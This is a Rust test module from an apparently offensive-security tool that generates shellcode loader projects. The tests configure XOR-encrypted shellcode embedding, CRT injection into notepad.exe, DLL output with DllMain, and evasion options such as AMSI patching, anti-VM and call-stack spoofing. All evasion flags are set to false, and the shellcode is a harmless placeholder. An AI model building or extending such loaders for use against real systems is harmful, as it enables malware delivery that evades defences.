 #[cfg(test)]
 fn init_rust_project_for_test(
     project_name: &str,
     shellcode_data: &[u8],
     binary_format: &BinaryFormat,
 ) -> io::Result<()> {
     let encryption_kind = EncryptionKind::XOR;
     let encryption_key = "test_key_12345";
     let technique = Technique::CRT;
     let process = "notepad.exe";
 
     let (encrypted_shellcode, encryption_type_str, key_bytes) =
         prepare_shellcode_encryption(shellcode_data, Some(&encryption_kind), Some(encryption_key))?;
 
     write_cargo_toml(
         project_name,
         binary_format,
         encryption_type_str,
         false,
         false,
         false,
     )?;
 
     fs::create_dir_all("src")?;
 
     let internals_source =
         generate_internals_with_crypto_and_strings(encryption_type_str, false, false)?;
     let source_code = generate_source_code(SourceCodeParams {
         binary_format,
         internals_source: &internals_source,
         encryption: EncryptionParams {
             encrypted_shellcode: &encrypted_shellcode,
             key_bytes: &key_bytes,
             encryption_type: encryption_type_str,
         },
         technique_params: TechniqueParams {
             technique: &technique,
             process,
         },
         with_api_hammering: false,
         with_amsi_patch: false,
         with_string_encryption: false,
         with_dynamic_function_resolver: false,
         with_anti_vm: false,
         with_anti_sandbox: false,
         with_anti_debugger: false,
         with_callstack_spoofing: false,
         encryption_kind: Some(&encryption_kind),
         encryption_key: Some(encryption_key),
     })?;
 
     let file_name = match binary_format {
         BinaryFormat::Exe => "src/main.rs",
         BinaryFormat::Dll => "src/lib.rs",
         BinaryFormat::Lnk => return Ok(()), // LNK doesn't need source file
     };
 
     fs::write(file_name, source_code)?;
 
     Ok(())
 }
 
 #[cfg(test)]
 fn setup_and_build_project_for_test(
     project_name: &str,
     output_name: &str,
     original_cwd: &Path,
     shellcode_data: &[u8],
     binary_format: &BinaryFormat,
 ) -> io::Result<PathBuf> {
     init_rust_project_for_test(project_name, shellcode_data, binary_format)?;
     let binary_path = build_release(project_name, binary_format)?;
     verify_binary(&binary_path)?;
     let final_path = copy_binary(&binary_path, original_cwd, output_name)?;
     Ok(final_path)
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
     use crate::TEST_DIR_MUTEX;
     use std::env;
 
     #[test]
     fn test_init_rust_project() {
         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
 
         let test_dir = env::temp_dir().join(format!("rust-project-test-{}", rand::random::<u32>()));
         fs::create_dir_all(&test_dir).unwrap();
 
         let original_dir = env::current_dir().unwrap();
         env::set_current_dir(&test_dir).unwrap();
 
         let shellcode = b"test shellcode";
         let encryption_kind = EncryptionKind::XOR;
         let technique = Technique::CRT;
 
         let config = BuildConfig {
             project_name: "test_project",
             output_name: "test_output",
             original_cwd: &original_dir,
             shellcode_data: shellcode,
             binary_format: &BinaryFormat::Exe,
             encryption_kind: Some(&encryption_kind),
             encryption_key: Some("test_key_123"),
             technique: &technique,
             process: "notepad.exe",
             with_api_hammering: false,
             with_amsi_patch: false,
             with_string_encryption: false,
             with_dynamic_function_resolver: false,
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
             with_callstack_spoofing: false,
             low_resources: false,
         };
 
         let result = init_rust_project(&config);
         assert!(result.is_ok(), "should successfully initialize project");
 
         assert!(Path::new("Cargo.toml").exists(), "Cargo.toml should exist");
         assert!(
             Path::new("src/main.rs").exists(),
             "src/main.rs should exist"
         );
 
         let cargo_content = fs::read_to_string("Cargo.toml").unwrap();
         assert!(
             cargo_content.contains("test_project"),
             "Cargo.toml should contain project name"
         );
 
         env::set_current_dir(&original_dir).unwrap();
         let _ = fs::remove_dir_all(&test_dir);
     }
 
     #[test]
     #[ignore = "requires x86_64-pc-windows-gnu target"]
     fn test_build_release() {
         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
 
         let original_dir = env::current_dir().unwrap();
 
         struct DirGuard(PathBuf);
         impl Drop for DirGuard {
             fn drop(&mut self) {
                 let _ = env::set_current_dir(&self.0);
             }
         }
         let _guard = DirGuard(original_dir.clone());
 
         let test_dir = env::temp_dir().join(format!("rust-build-test-{}", rand::random::<u32>()));
         fs::create_dir_all(&test_dir).unwrap();
 
         env::set_current_dir(&test_dir).unwrap();
 
         let shellcode = b"test";
         let encryption_kind = EncryptionKind::XOR;
         let technique = Technique::CRT;
 
         let config = BuildConfig {
             project_name: "build_test",
             output_name: "build_output",
             original_cwd: &original_dir,
             shellcode_data: shellcode,
             binary_format: &BinaryFormat::Exe,
             encryption_kind: Some(&encryption_kind),
             encryption_key: Some("test_key_123"),
             technique: &technique,
             process: "notepad.exe",
             with_api_hammering: false,
             with_amsi_patch: false,
             with_string_encryption: false,
             with_dynamic_function_resolver: false,
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
             with_callstack_spoofing: false,
             low_resources: false,
         };
 
         init_rust_project_with_target(&config).unwrap();
         let result = build_release("build_test", &BinaryFormat::Exe);
 
         assert!(
             result.is_ok(),
             "should successfully build project: {:?}",
             result.err()
         );
 
         let _ = env::set_current_dir(&original_dir);
         let _ = fs::remove_dir_all(&test_dir);
     }
 
     #[test]
     fn test_copy_binary() {
         let source_dir = env::temp_dir().join(format!("copy-source-{}", rand::random::<u32>()));
         let dest_dir = env::temp_dir().join(format!("copy-dest-{}", rand::random::<u32>()));
         fs::create_dir_all(&source_dir).unwrap();
         fs::create_dir_all(&dest_dir).unwrap();
 
         let source_file = source_dir.join("test_binary");
         fs::write(&source_file, b"fake binary content").unwrap();
 
         let result = copy_binary(&source_file, &dest_dir, "output.exe");
         assert!(result.is_ok(), "should successfully copy binary");
 
         let dest_file = result.unwrap();
         assert!(dest_file.exists(), "copied file should exist");
         assert_eq!(
             dest_file.file_name().unwrap(),
             "output.exe",
             "should have correct name"
         );
 
         let content = fs::read(&dest_file).unwrap();
         assert_eq!(content, b"fake binary content", "content should match");
 
         let _ = fs::remove_dir_all(&source_dir);
         let _ = fs::remove_dir_all(&dest_dir);
     }
 
     #[test]
     #[ignore = "requires x86_64-pc-windows-gnu target"]
     fn test_setup_and_build_project_integration() {
         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
 
         let saved_dir = env::current_dir().unwrap();
 
         struct DirGuard(PathBuf);
         impl Drop for DirGuard {
             fn drop(&mut self) {
                 let _ = env::set_current_dir(&self.0);
             }
         }
         let _guard = DirGuard(saved_dir.clone());
 
         let work_dir = env::temp_dir().join(format!("integration-work-{}", rand::random::<u32>()));
         let original_dir =
             env::temp_dir().join(format!("integration-orig-{}", rand::random::<u32>()));
         fs::create_dir_all(&work_dir).unwrap();
         fs::create_dir_all(&original_dir).unwrap();
 
         env::set_current_dir(&work_dir).unwrap();
 
         let shellcode = b"test shellcode data";
         let result = setup_and_build_project_for_test(
             "myproject",
             "final_binary",
             &original_dir,
             shellcode,
             &BinaryFormat::Exe,
         );
         assert!(
             result.is_ok(),
             "complete workflow should succeed: {:?}",
             result.err()
         );
 
         let final_binary = result.unwrap();
         assert!(final_binary.exists(), "final binary should exist");
         assert_eq!(
             final_binary.file_name().unwrap(),
             "final_binary",
             "should have correct name"
         );
         assert!(
             final_binary.parent().unwrap() == original_dir,
             "should be in original directory"
         );
 
         let _ = env::set_current_dir(&saved_dir);
         let _ = fs::remove_dir_all(&work_dir);
         let _ = fs::remove_dir_all(&original_dir);
     }
 
     #[test]
     fn test_build_release_nonexistent_project() {
         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
 
         let original_dir = env::current_dir().unwrap();
 
         struct DirGuard(PathBuf);
         impl Drop for DirGuard {
             fn drop(&mut self) {
                 let _ = env::set_current_dir(&self.0);
             }
         }
         let _guard = DirGuard(original_dir.clone());
 
         let test_dir = env::temp_dir().join(format!("no-project-{}", rand::random::<u32>()));
         fs::create_dir_all(&test_dir).unwrap();
         env::set_current_dir(&test_dir).unwrap();
 
         let result = build_release("nonexistent", &BinaryFormat::Exe);
         assert!(result.is_err(), "should fail when project doesn't exist");
 
         let _ = env::set_current_dir(&original_dir);
         let _ = fs::remove_dir_all(&test_dir);
     }
 
     #[test]
     fn test_copy_binary_nonexistent_source() {
         let dest_dir = env::temp_dir().join(format!("copy-fail-{}", rand::random::<u32>()));
         fs::create_dir_all(&dest_dir).unwrap();
 
         let nonexistent = PathBuf::from("/nonexistent/path/binary");
         let result = copy_binary(&nonexistent, &dest_dir, "output");
         assert!(result.is_err(), "should fail when source doesn't exist");
 
         let _ = fs::remove_dir_all(&dest_dir);
     }
 
     #[test]
     #[ignore = "requires x86_64-pc-windows-gnu target"]
     fn test_strip_binary() {
         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
 
         let original_dir = env::current_dir().unwrap();
 
         struct DirGuard(PathBuf);
         impl Drop for DirGuard {
             fn drop(&mut self) {
                 let _ = env::set_current_dir(&self.0);
             }
         }
         let _guard = DirGuard(original_dir.clone());
 
         let test_dir = env::temp_dir().join(format!("strip-test-{}", rand::random::<u32>()));
         fs::create_dir_all(&test_dir).unwrap();
         env::set_current_dir(&test_dir).unwrap();
 
         let encryption_kind = EncryptionKind::XOR;
         let technique = Technique::CRT;
 
         let config = BuildConfig {
             project_name: "strip_test",
             output_name: "strip_output",
             original_cwd: &original_dir,
             shellcode_data: b"test",
             binary_format: &BinaryFormat::Exe,
             encryption_kind: Some(&encryption_kind),
             encryption_key: Some("test_key_123"),
             technique: &technique,
             process: "notepad.exe",
             with_api_hammering: false,
             with_amsi_patch: false,
             with_string_encryption: false,
             with_dynamic_function_resolver: false,
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
             with_callstack_spoofing: false,
             low_resources: false,
         };
 
         init_rust_project_with_target(&config).unwrap();
         let binary_path = build_release("strip_test", &BinaryFormat::Exe).unwrap();
 
         let cargo_content = fs::read_to_string("Cargo.toml").unwrap();
         assert!(
             cargo_content.contains("strip = true"),
             "Cargo.toml should contain strip = true"
         );
 
         let result = verify_binary(&binary_path);
         assert!(result.is_ok(), "should successfully verify binary");
 
         // Check executable permissions (Unix only)
         #[cfg(unix)]
         {
             use std::os::unix::fs::PermissionsExt;
             let metadata = fs::metadata(&binary_path).unwrap();
             assert!(
                 metadata.permissions().mode() & 0o111 != 0,
                 "binary should be executable"
             );
         }
 
         println!("Binary built with Cargo strip = true setting");
 
         let _ = env::set_current_dir(&original_dir);
         let _ = fs::remove_dir_all(&test_dir);
     }
 
     #[test]
     fn test_verify_binary() {
         let nonexistent = PathBuf::from("/nonexistent/path/binary");
         let result = verify_binary(&nonexistent);
         assert!(result.is_err(), "should fail when binary doesn't exist");
 
         let test_dir = env::temp_dir().join(format!("verify-test-{}", rand::random::<u32>()));
         fs::create_dir_all(&test_dir).unwrap();
 
         let fake_binary = test_dir.join("fake_binary");
         fs::write(
             &fake_binary,
             b"this is just some text, not a binary at all!",
         )
         .unwrap();
 
         let _ = verify_binary(&fake_binary);
 
         let _ = fs::remove_dir_all(&test_dir);
     }
 
     #[test]
     #[ignore = "requires x86_64-pc-windows-gnu target"]
     fn test_generated_template_with_internals() {
         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
 
         let original_dir = env::current_dir().unwrap();
 
         struct DirGuard(PathBuf);
         impl Drop for DirGuard {
             fn drop(&mut self) {
                 let _ = env::set_current_dir(&self.0);
             }
         }
         let _guard = DirGuard(original_dir.clone());
 
         let test_dir = env::temp_dir().join(format!("template-test-{}", rand::random::<u32>()));
         fs::create_dir_all(&test_dir).unwrap();
         env::set_current_dir(&test_dir).unwrap();
 
         let encryption_kind = EncryptionKind::XOR;
         let technique = Technique::CRT;
 
         let config = BuildConfig {
             project_name: "template_test",
             output_name: "template_output",
             original_cwd: &original_dir,
             shellcode_data: b"shellcode",
             binary_format: &BinaryFormat::Exe,
             encryption_kind: Some(&encryption_kind),
             encryption_key: Some("test_key_123"),
             technique: &technique,
             process: "notepad.exe",
             with_api_hammering: false,
             with_amsi_patch: false,
             with_string_encryption: false,
             with_dynamic_function_resolver: false,
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
             with_callstack_spoofing: false,
             low_resources: false,
         };
 
         init_rust_project_with_target(&config).unwrap();
 
         let main_rs = fs::read_to_string("src/main.rs").unwrap();
         assert!(
             main_rs.contains("mod internals"),
             "Generated template should contain internals module"
         );
         assert!(
             main_rs.contains("pub fn hex_to_bytes"),
             "Generated template should contain hex_to_bytes function"
         );
         assert!(
             main_rs.contains("pub fn bytes_to_hex"),
             "Generated template should contain bytes_to_hex function"
         );
 
         let binary_path = build_release("template_test", &BinaryFormat::Exe).unwrap();
         assert!(binary_path.exists(), "Binary should be built successfully");
 
         let _ = env::set_current_dir(&original_dir);
         let _ = fs::remove_dir_all(&test_dir);
     }
 
     #[test]
     fn test_init_rust_project_dll() {
         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
 
         let test_dir = env::temp_dir().join(format!("dll-project-test-{}", rand::random::<u32>()));
         fs::create_dir_all(&test_dir).unwrap();
 
         let original_dir = env::current_dir().unwrap();
         env::set_current_dir(&test_dir).unwrap();
 
         let shellcode = b"test shellcode";
         let encryption_kind = EncryptionKind::XOR;
         let technique = Technique::CRT;
 
         let config = BuildConfig {
             project_name: "test_dll",
             output_name: "test_output",
             original_cwd: &original_dir,
             shellcode_data: shellcode,
             binary_format: &BinaryFormat::Dll,
             encryption_kind: Some(&encryption_kind),
             encryption_key: Some("test_key_123"),
             technique: &technique,
             process: "notepad.exe",
             with_api_hammering: false,
             with_amsi_patch: false,
             with_string_encryption: false,
             with_dynamic_function_resolver: false,
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
             with_callstack_spoofing: false,
             low_resources: false,
         };
 
         let result = init_rust_project(&config);
         assert!(result.is_ok(), "should successfully initialize DLL project");
 
         assert!(Path::new("Cargo.toml").exists(), "Cargo.toml should exist");
         assert!(
             Path::new("src/lib.rs").exists(),
             "src/lib.rs should exist for DLL"
         );
 
         let cargo_content = fs::read_to_string("Cargo.toml").unwrap();
         assert!(
             cargo_content.contains("cdylib"),
             "Cargo.toml should contain cdylib for DLL"
         );
 
         let lib_content = fs::read_to_string("src/lib.rs").unwrap();
         assert!(
             lib_content.contains("DllMain"),
             "lib.rs should contain DllMain for DLL"
         );
 
         env::set_current_dir(&original_dir).unwrap();
         let _ = fs::remove_dir_all(&test_dir);
     }
 
     #[test]
     fn test_shellcode_embedding() {
         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
 
         let test_dir =
             env::temp_dir().join(format!("shellcode-embed-test-{}", rand::random::<u32>()));
         fs::create_dir_all(&test_dir).unwrap();
 
         let original_dir = env::current_dir().unwrap();
         env::set_current_dir(&test_dir).unwrap();
 
         let shellcode = b"\x90\x90\x90\xc3";
         let encryption_kind = EncryptionKind::XOR;
         let technique = Technique::CRT;
 
         let config = BuildConfig {
             project_name: "embed_test",
             output_name: "embed_output",
             original_cwd: &original_dir,
             shellcode_data: shellcode,
             binary_format: &BinaryFormat::Exe,
             encryption_kind: Some(&encryption_kind),
             encryption_key: Some("test_key_123"),
             technique: &technique,
             process: "notepad.exe",
             with_api_hammering: false,
             with_amsi_patch: false,
             with_string_encryption: false,
             with_dynamic_function_resolver: false,
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
             with_callstack_spoofing: false,
             low_resources: false,
         };
 
         let result = init_rust_project(&config);
         assert!(result.is_ok(), "should successfully initialize project");
 
         let main_rs = fs::read_to_string("src/main.rs").unwrap();
         assert!(
             main_rs.contains("const ENCRYPTED_SHELLCODE: &[u8]"),
             "main.rs should contain ENCRYPTED_SHELLCODE constant"
         );
         assert!(
             main_rs.contains("const DECRYPTION_KEY: &[u8]"),
             "main.rs should contain DECRYPTION_KEY constant"
         );
         assert!(
             main_rs.contains("0x") && main_rs.contains("ENCRYPTED_SHELLCODE"),
             "main.rs should contain embedded encrypted shellcode bytes"
         );
 
         env::set_current_dir(&original_dir).unwrap();
         let _ = fs::remove_dir_all(&test_dir);
     }
 
     #[test]
     fn test_format_bytes_as_array() {
         let bytes = vec![0x01, 0x02, 0xFF];
         let result = format_bytes_as_array(&bytes);
         assert_eq!(result, "[0x01, 0x02, 0xff]");
 
         let empty: Vec<u8> = vec![];
         let result = format_bytes_as_array(&empty);
         assert_eq!(result, "[]");
     }
 
     #[test]
     fn test_build_env_builder_missing_fields() {
         let result = BuildEnv::new().build();
         assert!(result.is_err(), "should fail when project name is missing");
         assert!(result
             .unwrap_err()
             .to_string()
             .contains("Project name is required"));
 
         let result = BuildEnv::new().with_project_name("test").build();
         assert!(result.is_err(), "should fail when output name is missing");
         assert!(result
             .unwrap_err()
             .to_string()
             .contains("Output name is required"));
     }
 
     #[test]
     fn test_build_env_builder_pattern() {
         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
 
         let original_dir = env::current_dir().unwrap();
         let work_dir = env::temp_dir().join(format!("builder-work-{}", rand::random::<u32>()));
         let output_dir = env::temp_dir().join(format!("builder-out-{}", rand::random::<u32>()));
         fs::create_dir_all(&work_dir).unwrap();
         fs::create_dir_all(&output_dir).unwrap();
 
         env::set_current_dir(&work_dir).unwrap();
 
         let shellcode = b"test";
         let _result = BuildEnv::new()
             .with_project_name("test_project")
             .with_output_name("output.exe")
             .with_original_cwd(&output_dir)
             .with_shellcode(shellcode)
             .with_binary_format(&BinaryFormat::Exe)
             .build();
 
         env::set_current_dir(&original_dir).unwrap();
         let _ = fs::remove_dir_all(&work_dir);
         let _ = fs::remove_dir_all(&output_dir);
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit